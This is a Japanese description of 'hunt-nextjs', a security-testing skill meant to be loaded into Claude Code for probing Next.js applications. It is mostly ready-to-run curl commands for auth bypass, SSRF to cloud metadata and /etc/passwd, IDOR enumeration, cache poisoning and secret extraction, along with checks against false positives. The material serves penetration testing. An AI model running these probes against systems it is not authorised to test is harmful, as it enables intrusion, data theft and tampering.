hunt-nextjs について
Next.js アプリケーションの脆弱性を調べる Web セキュリティテスト用スキルです。Server Actions、ミドルウェア、画像最適化、データエンドポイントを扱い、通常の応答を脆弱性と誤認しないための検証方法も示します。
主な機能
- 01Next.js の識別とバージョン確認
- 02Server Actions の認可テスト
- 03ミドルウェア回避とデータ漏えいの検査
- 04画像最適化機能の SSRF 検査
- 05ISR キャッシュとデバッグエンドポイントの検査
活用シーン
- 01Server Actions の認可不足を確認
- 02データエンドポイント経由で保護ページを検査
- 03画像最適化機能の SSRF を調査
- 04キャッシュ汚染やデータ漏えいの疑いを検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-nextjsインストール後、Claude Code で/hunt-nextjsを入力して読み込まれたか確認します。
詳細
HUNT-NEXTJS — Next.js / SSR フレームワークの脆弱性
最重要ターゲット
認証をバイパスする、または SSRF に至る Next.js 固有のバグは、高または重大です。
最も価値の高い攻撃チェーン:
- Server Actions の認証バイパス — Server Actions はクライアント側でのみ認証を強制する → アクション ID を直接呼び出す → 不正なデータ変更またはデータ窃取
/_next/static/を介したミドルウェアのバイパス — ミドルウェアが静的アセットのパスをスキップする →/_next/data/の IDOR 経由で保護されたルートにアクセスできる/_next/imageSSRF — 画像オプティマイザーが攻撃者制御の URL を取得する → 内部ネットワークのスキャンまたはクラウドメタデータへのアクセス- ISR の古いキャッシュのポイズニング — キャッシュされたページに悪意のあるコンテンツを注入し、すべてのユーザーに配信させる
- RSC ペイロードの漏えい — React Server Component のフライトデータに、クライアント向けではないサーバー側の props が含まれる
攻撃対象領域のシグナル
/_next/image?url=&w=&q= Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame Debug stack frame endpoint
/_next/static/chunks/ JS bundles — source map candidate
/api/ API routes — standard hunt surface
__NEXT_DATA__ in HTML SSR props leaked to client
x-nextjs-* response headers Confirms Next.js
フェーズ 1 — フィンガープリントとバージョン検出
# Confirm Next.js and get build ID
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"buildId":"[^"]+"'
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"
# Check Next.js version via package disclosure
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/_next/static/chunks/framework*.js | grep -Eo '"next":"[^"]+"'
# Source map exposure
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
フェーズ 2 — Server Actions の悪用
# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
# Call Server Action directly without auth
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/target-page \
-H "Next-Action: ACTION_ID_HERE" \
-H "Content-Type: multipart/form-data; boundary=----" \
-H "Cookie: " \
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only
フェーズ 3 — ミドルウェア認証のバイパス
# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible
# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/../admin/dashboard"
# Encoded path bypass
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
フェーズ 4 — 画像最適化 SSRF(/_next/image)
# Basic SSRF test — internal metadata
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=http://[REDACTED_IP]/latest/meta-data/&w=64&q=75"
# Protocol bypass attempts
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain
誤検知を防ぐための注意(SSRF と報告する前にお読みください): /_next/image が取得するのは、next.config.js の images.remotePatterns / images.domains で許可された URL のみです。許可リストにない url は、デフォルトで 400 を返します。これはオプティマイザーが通常どおり許可リストによって拒否した結果であり、バイパスした「ブロック」ではありません。200 が返すのは最適化された画像であり、アップストリームのレスポンス本文ではないため、ステータスコードだけでは SSRF を確認できません。SSRF の確認は、前述の一意な Collaborator サブドメインへのアウトオブバンドコールバック、または既知の内部ターゲットと既知の外部ターゲットの本文差分比較によってのみ行ってください。ステータスコードを根拠に報告しないでください。
注:CVE-2024-34351(Next.js SSRF、GHSA-fr5h-rqp8-mj6g、13.4.0 から < 14.1.1 に影響し、14.1.1 で修正済み)は、
Hostヘッダーを信頼する相対リダイレクトに起因する Server Actions の SSRF であり、/_next/imageのバグではありません。また、Vercel のような Host ルーティング型プロバイダーには影響しません。Server Actions の攻撃対象領域については、フェーズ 2 を参照してください。
フェーズ 5 — /_next/data/ の IDOR とデータ漏えい
# Enumerate prerendered JSON for user-specific data
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
-H "Cookie: session=VICTIM_SESSION"
# Try other users' data
for ID in 1 2 3 100 1000; do
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done
# Check __NEXT_DATA__ in HTML for sensitive server-side props
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/dashboard" | \
python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"
フェーズ 6 — ISR キャッシュポイズニング
# ISR pages regenerate on request after revalidation period
# If user input influences the static page content without sanitization:
# 1. Trigger revalidation with malicious input in URL/query
# 2. Injected content cached and served to all users
# Test: does query param affect cached page content?
# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
# and confirm the response was actually CACHED + served to a DIFFERENT client.
MARK="zqx$(date +%s)"
# 1) Poison with the marker
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
# Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
# marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
curl --max-time 30 --connect-timeout 10 -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"
# On-demand revalidation endpoint (if exposed)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"
フェーズ 7 — デバッグおよびスタックフレームのエンドポイント
前提条件: __nextjs_launch-editor と __nextjs_original-stack-frame は react-dev-overlay のミドルウェアであり、next dev の実行時にのみマウントされます。本番ビルド(next build && next start)ではこれらのルートは登録されません。ここでの 404 は通常の想定どおりの結果であり、バイパスが必要な「フィルター」ではありません。これらに到達できるのは、本番環境で文字どおり next dev を実行しているというまれな設定ミスの場合に限られます。404 以外の応答を実際の発見事項として扱ってください。404 やフィルターされた応答を確認結果として報告しないでください。
# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" \
"https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
# reference local files (file-read surface of a dev server wrongly exposed)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/__nextjs_original-stack-frame" \
--data '{"file":"/etc/passwd","line":1,"column":1}'
フェーズ 8 — 環境変数の漏えい
# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"
# Check for non-public vars accidentally exposed
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | python3 -c "
import sys, re, json
m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
if m:
d = json.loads(m.group(1))
print(json.dumps(d.get('props', {}), indent=2))
"
攻撃チェーン表
| Next.js の発見事項 | 次につなげる先 | 影響 |
|---|---|---|
| Server Action に認証がない | 特権を必要とする変更を直接呼び出す | データ改ざん/管理者アクセス |
/_next/image SSRF | クラウドメタデータ → IAM 認証情報 | クラウド侵害 |
/_next/data/ の IDOR | 他のユーザーのサーバー側 props | PII/トークンの窃取 |
| ミドルウェアのバイパス | 保護された管理者ルート | 認証のバイパス |
| ソースマップの公開 | TS ソースを再構築 → ハードコードされたシークレットを発見 | さらなる脆弱性 |
__NEXT_DATA__ の漏えい | HTML 内のサーバー側シークレット | API キー/トークン |
検証
✅ Server Action:有効なセッションがなくてもアクションが実行され、データを返すか状態を変更する
✅ SSRF:/_next/image の SSRF による DNS/HTTP コールバックを受信する
✅ ミドルウェアのバイパス:認証 Cookie なしで保護されたルートが 200 を返す
✅ データ漏えい:__NEXT_DATA__ に非公開のシークレットまたは他のユーザーの PII が含まれる
重大度:
- Server Action の認証バイパス → データ変更:高/重大
- 画像 SSRF → クラウドメタデータ:重大
- ミドルウェアのバイパス → 管理者パネル:高
- ソースマップの公開のみ:低〜中
検証
このセルフテストを実行し、Next.js の調査に備えられていることを確認します。
-
スキルの整合性 — スキルファイルが読み取り可能で、適切な形式であることを確認します。
grep -q "name: hunt-nextjs" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3つのテストすべてで、スキルが適切に構成され、使用可能な状態であることを確認します。
落とし穴
- 本番環境の Next.js ソースマップ —
/_next/内の.mapファイルは、RCE ではなく情報漏えい(ソースコードの可視化)につながります。 - _next/data エンドポイントの列挙 — ビルド ID とデータエンドポイントから、サーバーサイドの props が漏えいする可能性があります。機密データが getServerSideProps を通過するかテストしてください。
- ミドルウェアのバイパス — Next.js のミドルウェアは Edge で実行されます。直接アクセスによって
/api/パスがミドルウェアをバイパスできるかテストしてください。 - ISR キャッシュポイズニング — 再検証のトリガーを制御できる場合、インクリメンタル静的再生成がポイズニングされる可能性があります。